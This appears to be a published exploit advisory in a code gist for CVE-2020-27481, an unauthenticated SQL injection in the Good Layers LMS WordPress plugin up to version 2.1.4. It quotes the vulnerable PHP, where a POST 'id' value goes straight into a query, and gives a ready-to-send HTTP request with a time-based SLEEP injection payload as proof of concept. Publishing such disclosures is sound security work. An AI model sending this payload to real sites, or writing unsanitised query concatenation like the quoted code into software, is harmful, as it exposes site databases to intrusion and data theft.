Instantly share code, notes, and snippets.

0xx7 / **goodlayerslms.txt**

Last active last year

☆ Star

<> Code -o- Revisions 5 ☆ Stars 1

Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4

goodlayerslms.txt

```
# Exploit Title: Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4
# Date: 10/10/2020
# Exploit Author: Abdul Azeez Alaseeri
# Author page: https://www.linkedin.com/in/0xx777/
# Vendor Homepage: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850
# CVE-2020-27481

================================================================
Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4
================================================================

Plugin URL: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850

Following is the vulnerable code in file "goodlayers-lms/include/lightbox-form.php" from line 682 to 701
================================================================
Start Vulnerable Code
================================================================
682-    add_action( 'wp_ajax_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
683-    add_action( 'wp_ajax_nopriv_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
684-    function gdlr_lms_cancel_booking(){
685-            global $wpdb;
686-
687-            $sql  = 'SELECT * FROM ' . $wpdb->prefix . 'gdlrpayment ';
688-            $sql .= 'WHERE id=' . $_POST['id'] . ' AND ';
689-            $sql .= '(payment_status=\'pending\' OR payment_status=\'submitted\' OR payment_status=\'reserved\')';
690-            $booked_course = $wpdb->get_row($sql);
691-            if( !empty($booked_course) ){
692-                    $payment_info = unserialize($booked_course->payment_info);
693-
694-                    $course_options = gdlr_lms_get_course_options($booked_course->course_id);
695-                    $course_options['booked-seat'] = intval($course_options['booked-seat']) - intval($payment_info['amount']);
696-                    update_post_meta($booked_course->course_id, 'gdlr-lms-course-settings', wp_slash(json_encode($course_options, JSON_
697-
698-                    $wpdb->delete( $wpdb->prefix . 'gdlrpayment', array('id'=>$_POST['id']), array('%d'));
699-            }
700-            die("");
701-    }
================================================================
End Vulnerable Code
================================================================
Line 682 means that function "gdlr_lms_cancel_booking" can be called using "/wp-admin/admin-ajax.php" by having any low privileged account

http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking

SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query

$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';

Following are the Request Headers as POC which demonstrates MySQL SLEEP Query.

================================================================
Request Headers Start
================================================================
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)
================================================================
Request Headers Finish
================================================================
```